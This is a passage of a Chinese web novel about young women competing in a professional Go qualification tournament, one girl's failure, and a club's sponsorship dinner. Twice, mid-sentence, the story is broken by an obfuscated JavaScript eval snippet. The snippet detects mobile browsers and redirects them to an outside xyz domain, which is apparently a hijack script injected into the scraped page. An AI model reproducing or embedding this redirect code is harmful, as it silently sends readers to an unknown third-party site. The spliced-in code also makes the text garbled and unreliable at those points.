赛前,两人都到得很早,相向而坐。庭见秋没有赛前聊天的习惯,闭着眼睛养神,听辛芸闲得没事做捣鼓棋碗中的棋子的清脆声响。 有几个和庭见秋下过棋的小女孩,路过她桌边,礼貌地和她打招呼:“阿姨好。” 庭见秋连忙:“你也好。” 辛芸看热闹:“她们叫你阿姨你也答应?” 庭见秋看辛芸和自己差不了几岁,困惑:“她们都叫你姐姐?” “对啊。”辛芸挺直腰板,“辛大小姐。” “……”比赛怎么还不开始。 庭见秋以她惯用的方式开局。辛芸显然研究过庭见秋的棋谱,开局七十手都走得稳健,不至于被庭见秋快而锐利的短刀划伤,直到中盘,才赶不上庭见秋攻城略地的速度,渐露颓势。 落了下风,辛芸一点也不懊恼,时而趴在桌上,下巴搁在棋盘前,瞪着眼睛想棋,时而将整个身子靠在椅背上,扶着腮帮子无声动嘴唇计算棋路,一分钟八十个动作,看得庭见秋眼花缭乱,索性在等对方落子的时候闭上眼。 官子阶段,辛芸终于认输,庭见秋七连胜,道声承让。 辛芸依旧自豪:“我进步很大吧。” 庭见秋点点头。 光是江陵长玫,就被她撬去一半的师资。出动整个棋坛的半壁元老来给她授课,要是没进步,说明是真没天分。 她也承认,辛芸浮躁狂妄,但是天赋绝佳。 “上次比你差了这么多。”辛芸伸出两只手来比划,掌心虚虚地相对,隔出一段距离,“这次只跟你差了那么多。”手掌挨近一半,“那再下次见面……” 两枚手掌轻轻合上。 庭见秋沉声:“你先定上段再说吧。” 辛芸笑:“五胜二负,你怎么知道我定不了段?你们江陵棋院的那个小女孩,也已经输了两场了吧。” 庭见秋听到她提起关建伟,心头突地一跳。 “且不说她这一局能不能赢下来。我这轮和你下完,对手分就比她高出不少。你说,是我能定段,还是她能定段?” 40.离开的,留下的 辛芸的眸光泛着冰冷的敌意。 她是天生的冒险家。优渥的家境给她兜底,使她什么都敢玩一玩。赛马,攀岩,冲浪。她最爱竞争,与天斗、与地斗、与人斗,一嗅到竞争的气味,就像海中的鲨鱼嗅到血腥味,本能地亢奋。 是庭见秋的出现,激起了她的好胜心,让她觉得围棋看着寡淡,真下起来,也有拼杀的快意。 庭见秋与她不同。庭见秋虽也好胜,但更在乎棋本身,也没兴趣成为谁的假想敌。 她收好棋,便退场。 在大厅里,工作人员对她说,七场全胜,可以直接定段,她不必再参加后两轮的对弈。她却一点都高兴不起来。辛芸一番话扰乱了她的思绪,她满脑子杂乱地计算着关建伟和辛芸的排名。 全国共计四百余名棋手,共聚严州。男子组可入段15名,女子组可入段2名。 她七局连胜,遥遥领先,锁定一个定段名额;她身后,七八名女棋手比分咬得很紧,在这一关头,哪怕谁丢了一盘,都会被远远甩开。 大厅里,庭见秋认出关建伟的父母。二人正坐在角落里,焦急地等待比赛结果。 关建伟的父母是两个再寻常不过的中年人,与关建伟如出一辙地瘦削,额间、发上都染上岁月的印记。他们在小镇上的同一家工厂里上班,父亲是工人,母亲是工厂的会计,身着类似的军绿色粗布制成的工厂制服。母亲手里握着一本巴掌大的册子,左侧誊满了参赛女棋手的名字,右侧计算着积分。父亲抚摸着胸口材质廉价的菩萨像,嘴里喃喃地说着求保佑的话。 在看到那对中年夫妇的一瞬,庭见秋顿时明白,关建伟的能干、早熟,她这阵子背负的压力,都是因为什么。 这个家庭,承受不起一个女孩如此昂贵的梦想。 庭见秋用赛场分发的纸杯,给关建伟的父母各接了一杯温水,坐在他们二人身边,陪着等待关建伟。 二十分钟后,关建伟的对手,一个十五岁的女孩,先走出赛场,步伐轻快,难掩喜气洋洋。庭见秋觉察到,身侧两位中年人的呼吸声瞬时静下来,带着轻微的颤抖。 又过了一分钟,关建伟脸色惨白地走出赛场,见到父母和庭见秋的那一刻,似浑身被抽去了骨头一般,虚脱地蹲在了地上: “输了两目。” 两目棋,有时只是一处官子先后的差别,却沉重得足以决定一个家庭的命运。 * 庭见秋入段之后,不必再参加比赛,一整个中午都陪在关建伟一家身边,帮忙复盘,计算积分与排名。 眼下还不是绝望的时候。关建伟四胜三负,排名第五。如果关建伟能拿下最后两轮比赛,且五胜二负的辛芸在接下来的比赛中失利,她依旧有定段的可能性。 关建伟心性坚韧,短暂午休后,很快调整了状态,和父母、谢赵两位教练与庭见秋分别拥抱一下,重回赛场。 一个半小时后,关建伟屠龙,拿下第八轮。 全队还没来得及高兴几分钟,辛芸的对手投子认输,辛芸以强悍的势头再拔一城。 第八轮之后,辛芸六胜二负,排名第二;关建伟五胜三负,排名第三,小分略低于辛芸。 ——一切,只看第五日上午的最后一场比赛。 第四日夜,庭见秋与关建伟住在一间双人标间。宾馆年久失修,空调嗡鸣,制冷效果不好,庭见秋闷得出了汗,浑身黏腻,疲倦至极却又怎么都睡不着,似航行海上,半沉半浮。夜半,她依稀听到隔壁床传来压抑的、混在空调杂音声之中的一句句呢喃: 我要赢。我要赢。 翌日,抽签结果公示,运气站在关建伟这边:她抽到的对手,是个与她同为五胜三负的十一岁女孩林蔚。辛芸的对手三胜五负。这意味着只要胜率相同,关建伟可以在小分上赶超辛芸。 最后一次,关建伟拥抱了所有陪伴她定段的人,坚定地走入赛场。 关建伟的对手林蔚,头发上扎满了花花绿绿的皮筋和小发卡,戴着一副灰蓝透明粗框眼镜,每下几手棋就要在椅子上蹭几下屁股,左顾右盼。她从教练那里,知道自己已没有定段的可能性,再加上连日紧张比赛,她早就疲惫不堪,赛场里的任何风吹草动,于她而言,都比棋局好玩。 无论对手态度如何,关建伟都全力以赴,每步棋深思熟虑,算得认真精细。 中盘,林蔚突然自言自语:“那一桌结束得好快啊。” 关建伟心下突地一跳,似预感到了什么,顺着林蔚的目光望去—— 是辛芸。 从辛芸直露的愉快神情来看,她又赢了。一场快刀斩乱麻的胜利。 也意味着,关建伟眼下这盘棋,已经没有任何意义可言。第二个定段名额,归七胜二负的辛芸所有了。 她的第五次,可能也是最后一次定段考,止步于此。 “诶,你哭什么?”林蔚皱了皱眉,语带不解和鄙夷,“最讨厌哭鼻子的了。” 她还太小了,连残忍都显得很天真。 定段赛五日来,关建伟从没有哭过。这一刻,眼窝甚至来不及酸涩,泪水便不受控地往下流,淌了她满脸。泪水滚烫,蒸得镜片上一片氤氲,她摘了眼镜,用外套袖口随意地揩去水雾,又戴回去,顺手扒拉了一把湿漉漉的脸,不管不顾地接着下棋。 塑料白子沾了泪水,落在棋盘上,映着赛场耀目的顶灯,晶莹如凝结在盘面上的鲛珠,与先前便落下的、色泽暗淡的棋子迥然不同。 美丽,却步步显着杀意。 林蔚被动地应招,四十手之后,半个盘面归入关建伟的白子所有。就算赛果已无意义,如此惨败,还是难免令她心生不快。林蔚磨磨蹭蹭地举手叫来裁判认输,嘴上不满地嘟囔着: “哭哭哭,赢了还要哭,烦死了。我不是也没定上吗?没定上就哭?” 裁判拍照登记赛果之后,蹲下身来,压低了嗓音问林蔚:“这是你第几次定段考?” 林蔚自豪说:“第一次。” 第一次参加定段赛,就有五胜四负的成绩,非常不容易。这是个很有潜力的女孩,再多磨炼一两年,大概率是可以顺利入段的。 裁判宽容地一笑:“所以你不知道她为什么哭。” 五次定段失败,长达五年的鏖战。“五年”,足以占去这个孩子人生的一半。蟪蛄不识春秋,林蔚无法理解这是一个多么漫长的概念。同时,她也无法理解课本上从来不曾讲授过的,再也没有转圜余地的失败。 在裁判的破例允准之下,收棋之后,关建伟逗留在位子上收拾情绪。好不容易把眼泪哭尽了,她用两手手心拍拍哭得红肿发热的脸,再揉揉有些模糊的视线,拎起包,昂首挺胸地走出赛场。 一出赛场,她就被庭见秋熟悉的气息牢牢裹住。她知道,庭见秋并不是热衷于肢体接触的人,唯独对她,总是生怕拥抱不够多,令她觉得自己是在寂寞地独自承受失败。 父母,谢颖与赵良甫两位教练,还有同样参加定段赛的同学们,也围上来,忧心关切地看着她。 他们说的都是:下得好,小伟,下得非常非常好。 已平复下来的关建伟,轻轻拍了拍庭见秋的背,反过来安慰她:“没事,小庭姐姐,真的。” 庭见秋从她肩头抬起脸来,锁着眉头,看她的脸。 泪水半干,黏黏地蒙在她脸上,有些紧巴巴的,她艰难却又释然地绽出一笑: “姐,我像你说的,像是没有退路一样地下了九盘棋。我把每一盘棋,都当作我这辈子最后一盘棋下。假如我从此之后,真的再也没有棋下了,唯有这九盘棋的棋谱,传下去。有人问起,我会很自豪地说,对,这就是关建伟的棋。 “我已经在纵横十九道之间,问心无愧地留下了我的名字。多少棋手,这一生都下不出来的棋,我下出来了。姐,我再也没有憾事了。” * 午后,华国围棋协会副会长邱左思七段,为这一届定段赛中成功入段的新初段们,颁发证书。 二十名棋手,年轻的仅十三岁,庭见秋、辛芸最年长,在稀薄的人群中无比醒目。 【江陵长玫,庭见秋,定初段。】 【渝都广行,辛芸,定初段。】 定段仪式结束之后,邱明宣读升段组的赛果: 【江陵长玫,言宜歌三段,全胜,直升五段。】 【江陵长玫,丛遇英初段,升二段。】 【江陵长玫,蒋阳成初段,升二段。】 …… 闭幕仪式漫长繁琐。辛芸本就不习惯应对这种形式大于内容的场合,加上被会场里的蚊子蛰了一腿的包,她烦躁至极,不等仪式结束,领了自己的证书,就中途离场。 她一边走出严州创新大厦,一边给辛氏医药现任董事长辛战国拨去电话,语气漫不经心: “喂,老头。定段赛打完了,那什么职业棋手也当上了。很容易啊,没什么难的。” 电话另一头。传来辛战国低沉沙哑的笑声:“爽了吧,幺儿?” “还行吧,就是没下赢庭见秋。”辛芸淡道,“不过以后和她下棋的机会有的是,早晚有一天能赢她。你再给我找点老师来。” 辛战国:“正好这边有位老九段,就在刚刚,突然答应来教你棋了。” “之前不也请了几个九段吗?九段是不是年纪大了都能当啊?” 辛战国笑:“这个好像还真挺厉害的,有个头衔,是个官,之前架子还挺大,请不动,也不知道怎么就又答应了。姓元,辛初段知道吗?” “下棋的人这么多,我哪知道谁是谁。你不是围甲赞助商吗?” “那都是你爷爷生前定的,我哪管过,派人每年照他老人家的意思批点钱就行了。” 辛芸飞快地:“你不知道我就更不知道了。总之你替我张罗吧。过马路呢,挂了。” ——渝都,辛氏医药。 辛战国被对面不礼貌地掐断电话,无奈一笑,对身旁的秘书张庞:“那位元九段,开价多少,出就行了,礼貌点,把人请来。” 张庞应下,笑说:“辛董为了女儿太用心良苦了。不管是下围乙,请老师,还是这回定段赛打点她的对手,耗钱耗力,还都不让她知道。” 辛战国笑着摆摆手:“她爱赢,就让她赢得痛快点。就这么一个讨债鬼,没办法,你生了姑娘就懂了。” * 定段赛后,江陵棋院整队乘飞机回家。 谢砚之刚结束天元战预选赛的第二赛段,便赶飞机,抽空回江陵,稍晚庭见秋一点回到俱乐部。一路风尘,没时间休息,他只在飞机上简单吃了点东西。 定段赛刚结束,江陵长玫难得放假,大家都抓紧时间放松。训练室里,只有一个人。 在进门见到棋桌边女生的身影的瞬间,他倦意全消,竟然觉得笑是不必用力的一件事,放下手里的行李箱,笑着,向她打招呼: “你好啊,庭初段。” 庭见秋正摆棋,听见他的声音,惊诧地抬起头来,脸上是一闪而过的欣喜:“你怎么突然回来啦?” 下一瞬,她眼底一涩,对着谢砚之的面孔,心口灌了铅似的发沉,搁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14050365|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋桌上的手无意识地攥紧,露出一个比哭还难看的表情。 谢砚之觉察到她情绪不对,急忙上前,躬下身子,对上她泛红的眼眶,柔声问:“怎么了,秋秋?定段了不开心吗?” 她以为她是开心的。至少她应当开心。 但在见到谢砚之的那一刻,那些被她刻意忽略的自责,她没有勇气揭露给别人的情绪,像是陡然觅到一个出口一样翻涌上来。她重重咬紧下唇,喉咙口像是堵满了黏稠的蛛丝,令她不知道如何组织语言。 谢砚之静静地等着。 终于,她说:“小伟没有定上段,第三名。” “我知道。” “我觉得是我害的。如果今年没有提升女子组年龄上限,如果我没有突然说要回来定段……”她重重垂下头,“她说她要回去读高中了。她们家没办法负担她学棋。” 谢砚之很轻地抚上她的颊边,触到一手温热的潮湿。他略用力,抬起她哭得微微泛红的脸颊,轻声说:“秋秋,你看我。” 指腹薄茧擦过下颌,抚至耳侧,带来一阵酥麻温热的痒。 庭见秋带着鼻音“嗯”一声,因湿润而纠结成一簇簇的睫羽轻颤着,一眨不眨地正色看他。 “你没有做错任何事,你值得这个段位,很早很早以前就值得。你相不相信,小伟像你一样,热爱围棋?” 庭见秋认真点头,捣蒜似的。 谢砚之笑:“所以她也会回来的。十八岁,二十岁,二十五岁。像你一样,她积攒了足够的力量,还会再回来的。没有什么能阻挡你和小伟。你要相信她,也要相信你自己。” * 数日后,关建伟在父母的陪同下,收拾放在江陵棋院的行李。 庭见秋久违地回到江陵棋院,帮着关建伟一起收拾,顺便哄了哄寝室里剩下的两个眼泪汪汪的小女孩。 好不容易哄得差不多了,关建伟凑过来,给小文、小悦一人抱一下,说:“以后你们俩睡觉不要蹬被子了哦。”两个小女孩又开始哇哇大哭。 庭见秋将关建伟拉到一旁,从背上的双肩包里,掏出厚厚一沓,交给她。 最上,是关建伟交给她保管的语文必修一课本。 课本之下,是庭见秋托远在云春的季芳宴,从她卧室书柜里挑出来的,高中三年的笔记。 庭见秋严肃地托孤:“这是我的高考秘笈,最精华的几册。交给你了。你这么聪明,棋下得好,高考也难不倒你。” 关建伟珍重接过,厚重镜片之下,满是动容。 “小伟,眼前的艰难,窘境,是一时的。我祝愿你自由,无论是以什么方式,无论是否下棋。” * 七月,杨惠子创建了她的个人公众号:观棋多语杨惠子。 这是她的私人创作园地。从此之后,无论是创作还是发表,权力都在她的手里。 在她应聘江陵长玫宣传部的那日,谢颖告诉她,她的天赋不在于如实报道,而在于叙事。她的叙事有触动人心的煽动力。入职之后,除去日常工作之外,她最好与长玫的棋手同生活,观察他们的人生,写作他们的故事。 自此之后,她就一直在搜集素材。 如今,借定段赛热议的东风,她在电脑前,开始筹划自己的第一篇推文: “[棋谱图片] “这盘棋,仇嘉铭七段持黑,两百手,巧借倒脱靴,屠龙谢颖九段。 “不是十年前的仇嘉铭。而是此时此刻,这个沉寂十年、无人看好的仇嘉铭。……” * 谢砚之匆忙回家,只在江陵短住一日,第二天清晨,又飞去参加下一赛段的预选赛。 临行前夜,他将在芝莲市买的一次性胶片机交给言宜歌。胶片用完了,他请言宜歌帮忙把照片洗出来。支付宝到账五百块钱之后,言宜歌终于大度地露出一个好脸,答应帮他走一趟。 一周后,言宜歌收到洗印店老板的消息,去店里取洗好的照片。 “拍的什么宝贝,神神秘秘的……”言宜歌在洗印店的桌面上,摊开塑料袋里装着的二十一张照片。 照片入目的那一瞬,她在震惊之中,瞪大了眼。 全部都是庭见秋。 吃肉时露出餍足表情,用脸和朝国烤肉店里的铁质餐盘比大小的庭见秋。 穿着一袭柔软的水蓝吊带裙,在海边追着浪花跑,深棕长发被海风高高扬起,露出一截莹白如雪的后颈的庭见秋。 在海岸游艇上,被炸开的烟花吓得张大嘴,脸上映出昳丽光彩的庭见秋。 毕业典礼上,穿着学士服,因为佩佩突然掏出红本本、官宣和男友的七年恋爱长跑终于修成正果而哭得像个小孩的庭见秋。 下输了棋转过脸生闷气的庭见秋; 察觉到谢砚之举起相机拍自己生闷气的脸,所以更生气地冲他举起拳头来的庭见秋。 …… 还有三张合影。 在朝国海岸边,礁石垒起的灯塔半岛上,青年男女倚靠着红白相间的阑干,背后,胭脂色的霞光,远远地铺至海天一线,像一场永远也不会终结的梦。 第一张,男生似有些无措,没有调整好表情,连手都不知道摆在哪里似的。 第二张,男生微偏过头,视线落在女生帽檐之下漏出来的卷曲的发,和半张匀白的面孔,嘴角牵起不经心的淡笑。 第三张,他终于正过脸来,和女生一样,对镜头露出灿烂一笑。 而这一切,在他身侧的女生一无所知,只是对着镜头,狭长双目弯如新月,笑得明媚无邪。 41.惧内 八月江陵,正是燥暑天气,日头毒辣,久旱不雨,环绕江陵的护城河半干,蒸腾为半空中的闷热水气,像是把一条泡过热水的湿毛巾,平等地甩在每一个江陵人脸上。 棋院没有寒暑假,江陵长玫的训练亦然。无论天气多么反人类,江陵长玫的成员们都需按时按点出席集训。即便是住在训练室附近的言宜歌,趁着清晨尚未升温时出门,抵达训练室,都会被热得去了半条命,对室友兼同事庭见秋真诚提问: “请问这里是地狱吗?是我造口业太多了,老天爷都看不下去了吗?” 庭见秋热得失去表情:“有道理。但你能不能解释一下为什么我也在地狱里?棋上屠龙也算杀生吗?” 蒋阳成升二段后暂时离队赴朝深造。一开始觉得他做决定过于武断的同事们,现在都说小蒋走得聪明:江陵这鬼天气真不是人呆的。 正在这时,谢颖出台一条雪上加霜的新政策: 空调不允许低于24度。 江陵棋院一片哀鸿遍野。不大的训练室里,人齐全时,能挤将近二十名棋手,24度根本不够制冷。 丛遇英数次尝试偷空调遥控器被赵良甫缉拿之后,谢颖终于坦言:“不是我要折磨你们,是咱们俱乐部没钱了。” 这倒不是秘密。大伙早就看出来了:盒饭一荤一素一半荤,变成一荤两素;教练携队员出市比赛,买廉航机票,陪着队员住设施简陋的二人标间;上个月三十块钱的打车费拖到现在都没有报销…… 最关键的一点是,谢砚之的衣服肉眼可见地变朴素了。可见谢家真的穷得揭不开锅,全家都在勒紧裤腰带。 但穷到要在空调上节流也太离谱了。 棋队众人集思广益,如何开源。 言宜歌:“实在不行让老仇直播跳舞吧,这行很赚的。” 仇嘉铭路过被踹,紧张地捂紧自己的直播账号不敢吭声。 杨惠子转移火力:“我觉得让谢砚之直播跳舞赚更多。” 庭见秋沉吟:“不是不行,但我怕他发现跳舞比下棋好玩,从此之后开辟人生新赛道,四头骡子都拽不回来。” 谢砚之微笑坦白:“别指望我,我的四肢是美丽摆设,打小就顺拐。” 丛遇英建议:“惠子姐那个公众号现在是不是人气挺高的?要不你写点师兄和宜歌姐的cp文,赚点赞赏。” 京城华一的cp炒作营销贻害无穷,被害者言宜歌呵呵冷笑:“我会举着身份证举报不实信息。” 谢颖终于打断这一场闹哄哄: “现在窘迫成这样,主要是因为按计划联系的一些赞助商,都黄了,俱乐部账上没钱。” 赞助商谈黄一批又一批,背后原因显而易见: 京城华一。 江陵长玫虽在围乙和定段赛表现突出,但还是没办法和眼下围甲势头正热的京城华一相比。如今围甲已赛至常规赛第8轮,京城华一场分遥遥领先,绝尘第一。 多次担任主将的元天宇六段,更是赛出了令棋友与媒体大为震惊的六胜二负的高胜率,棋风依稀现出年轻时元修明的风采。有棋友打趣说,原来棋手认真下棋,棋下好了连面相都会变。元天宇瘦了很多,原先的圆脸现出了下颌骨方正的轮廓,神情也肃穆不少,几乎辨不出过去那个元天宇的影子了。 八月,新一轮职业棋手等级分公布,元天宇升七段。 这一切,赞助商们自然都看在眼里。他们还记得江陵长玫与京城华一之间势如水火的关系,自然不会把钱往江陵长玫投。 之前谈好的几个赞助商,扭扭捏捏地变了态度;那些约好接下来详聊的赞助商,索性打着官腔拖延,然后顺理成章地消失不见。 只剩最后一家,世界女子围棋邀请赛的老金主,弈世网。 弈世网功能强大,集竞技、娱乐和社交于一身,无论是初学还是职业,凡接触围棋的新老棋手,几乎人手一个账号。棋圈虽小,但弈世网作为一家独大的刚需产品,垄断整个领域,财力相当雄厚。 谢颖开诚布公地和棋手们分析了目前的窘境,最后说:“下周我请弈世网创始人周柏周总吃饭详谈,但临时接到通知,喜州表演赛时间变动,我下周不在江陵。这个艰巨的任务,就交给砚之了。” 周柏好酒出名。谢砚之不厌恶应酬交际,唯独不爱喝酒,推脱:“老仇比我合适,他会来事,人缘好。” 仇嘉铭被哄得一脸感动:“小谢我就知道你心里有我……” “周柏最大的特点是惧内。周柏隐婚多年,人人都知道他有一个妻子,却不知道他妻子是谁,只知道周太太爱棋,因此周柏每年赞助世界女子邀请赛。而且,周太太还是砚之的粉丝。砚之去了,说不定周太太也愿意出席。把周太太哄开心,周总也就拿下了。” 谢砚之干笑两声:“妈你要不直接在我头上插朵花把我卖了。” 谢颖又向庭见秋:“小秋和砚之一起去吧,你俩一起,有个照应。” 她担心庭见秋不喜欢应酬场景,又补充一句:“我订了家人均一千五的私人会所,菜特别好吃……” 庭见秋果断:“我去。” * 月中,傍晚,暑气稍歇。名为“浮山碧”的会所,黯在暮色之中,门前荷塘水面摇动着暗紫深红的光影。 庭见秋与谢砚之做东,很早便到了,坐在预定好的雅间内,等待周柏的到来。 雅间内,空调冷气充足。庭见秋不时别扭地拽拽紧绷在自己腰背上鹅黄色的轻软衣料。谢砚之眼光绝佳,出手阔绰,挑出来的套装确实美丽,但穿起来堪比维多利亚时代的束身衣。 她暗暗发誓,如果以后谢砚之再带她买衣服,请他先进试衣间试穿,用腹式呼吸唱出一套音阶,她再试。 她都怀疑穿着这样一套衣服,她还能不能吃得下人均一千五的饭。 庭见秋歪过头,冲谢砚之小声抱怨:“谢老师怎么不叫宜歌来啊?无论是形象还是工作经验,宜歌都比我合适。” 谢砚之沉默半晌:“可能怕被宜歌骂吧。” 上一个把言宜歌当社交应酬时的招财猫的,被言宜歌骂了没屁/眼。 “……也对。温良恭俭让真落不到什么好。” 谢砚之诧异地睁圆眼:“温良恭俭让,你吗?” 庭见秋恶狠狠亮出一记攥圆了的拳,谢砚之立即高举双手投降,笑:“温良恭俭让打人啦。” ——“谁打人了?” 门口,一名三十出头的男性笑着绕过屏风似的一扇半开折叠门,两手各拎一个没有纹样的素色瓷瓶,走到桌前,将两瓶重重搁在桌上。 庭见秋与谢砚之忙起身:“周总好。” 周柏身量中等,不胖不瘦,模样俊朗文气,剔着清爽的板寸,平易开朗却没有商人的轻浮气,说话也不见油滑腔调,不像来应酬,倒像是约见酒搭子,喜庆地招呼: “两位好,都坐都坐。都能喝?朋友家里泡着玩的药材酒。我太太不喝酒,我这才找到机会启封。尝尝,不是什么贵东西,别客气。” 谢砚之大方应下,随便挑起一瓶,在周柏和自己面前的杯里,浅浅地斟满杯底。 周柏笑:“谢九段果然很爽快。”又向庭见秋,“这位是?” 庭见秋忙起身否认:“我是江陵长玫的棋手庭见秋,刚定段。” 周柏问:“小庭,也尝尝?” 庭见秋道声谢谢周总,本着金主就是爷的态度,恭敬递上杯子,任周柏倒酒。 她见谢砚之因她倒酒有些不安,低头在手机上打字,递给他:“没事,我会兑大麦茶。” 大麦茶颜色与药酒相似,倒可以混过去。好在周柏带的不是红酒,不然她还得偷偷让服务员上可乐,把气都晃出来的那种。 谢砚之也打字:“别人劝酒的时候,你倒温良恭俭让。” 人齐,便开始上菜,厚重檀木制成的圆桌之上,按照谢颖事先与会所商量好的菜单,摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14080829|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满精细如工艺品的菜品。桌上半数,进了品不出细糠的庭见秋的肚子里。 周柏一边品酒,一边和谢砚之状似随性地聊天,问起江陵长玫的人员构成和未来规划。谢砚之准备齐全,对答如流。 半壶酒下肚,周柏面色微红,思绪和声调一样,不受控地乱飘,竟想起太太了,掏出手机打电话。 庭见秋和谢砚之互看一眼,知道机会来了。 “喂,柔柔。”周柏被酒浸得滑润的嗓音,腻得庭见秋发慌,“我在浮山碧,和江陵长玫的棋手吃饭。你不是很喜欢谢九段吗?他在,你要不要来聊聊天?” 谢砚之略紧张地坐正,一双手在桌下飞快地理了理暗灰正装,抻平方才坐着压出来的褶皱。 相当有身为商品的自觉。 手机对面,似说了什么,周柏:“啊?脱粉了?什么时候的事?云松杯咋了,他不是冠军吗?……哦。也有道理。” 庭见秋又和谢砚之一对视线,事态突然,两人脸上是如出一辙的慌乱和为难。 十有八九,周太太是被谢砚之与元天宇的对局败了好感。 周柏又随口补了句:“还来了位女棋手,也是长玫的,叫小庭。庭什么来着……” 庭见秋正想给忘性大的周总提个词,周柏已在对面的提示下想起来:“对呀,就是庭见秋。” 随后,周柏挂断电话,笑眯眯:“我太太马上到,各位。” 庭见秋掏出手机打字:“什么情况!!!” 谢砚之接过手机,在她的三个感叹号后面又补了三个感叹号,又把手机递回去。 十五分钟后,折叠门传来轻嘎声,周柏发出嗲声:“柔柔。” “恶心恶心我得了,在外人面前收敛点吧。”折叠门后传来带笑的女声,很耳熟。 门后,探出一张秀美的鹅蛋脸,柳叶眉,杏仁眼,黑发如缎,面上铺着淡妆,气质如清水芙蓉般出尘高华: “你好,庭初段,正式自我介绍一下……” 庭见秋惊喜:“攀柔前辈,我认识您。” 她的解说是庭见秋下饭专用的电子榨菜。哪怕她解说的这盘棋臭得不行,她的讲解也总是能让人耳清目明,为棋增色不少。 早就听说攀柔已婚,婚后忙于照料家庭生活,退出一线,以解说为主业。没人想到她的丈夫,是弈世网的创始人周柏。 攀柔也面露喜色:“那太好了。”径自绕过丈夫,又绕过谢砚之,搬了把椅子挨近庭见秋坐下,撑着下巴说悄悄话,“裙子很好看呀。” “好看有什么用,勒得我吃不下饭。” “同意。你背转过来对着我,我看看哪里能帮你挣松一点。” …… 周柏被无视,习以为常地呵呵一笑:“谢九段,要不我们另开一个房间,她俩一桌,我俩一桌,接着喝。” 似这时才发现谢砚之的存在,攀柔半抬起脸,对着谢砚之,沉声:“我不喜欢你和元天宇那盘棋。我对元天宇也没有好感,但棋是棋,人是人。你要是讨厌元天宇,你可以趁他走夜路,往他头上套个麻布袋,把他打一顿,我路过看到,都帮你踢一脚。” 庭见秋赞成:“我加入。” 周柏:“老婆我帮你拿鞋,尖头高跟的,踢人包痛。” 谢砚之语气诚恳:“您批评得是。以后如有机会对阵元天宇,我一定该杀哪里杀哪里,该赢几目赢几目,绝不懈怠。” “你最好不是为了拉赞助应付我。”攀柔少见地露出近乎冷嘲的神色,“更何况,京城华一革新了集训的方式,元修明、邱左思、应礼、钱文平几位当年的悍将,轮流负责队内训练。元天宇天赋不差,多年来忙于经营俱乐部,拿围棋当生意做,所以才表现平平。如今他出让京城华一的主理权,带着报复你的决心,全心练棋,围甲几盘棋,进步极大。他已经用能力证明,京城华一没有谢砚之,也不会怎么样。 “——你怎么还一副稳操胜券的轻敌语气?”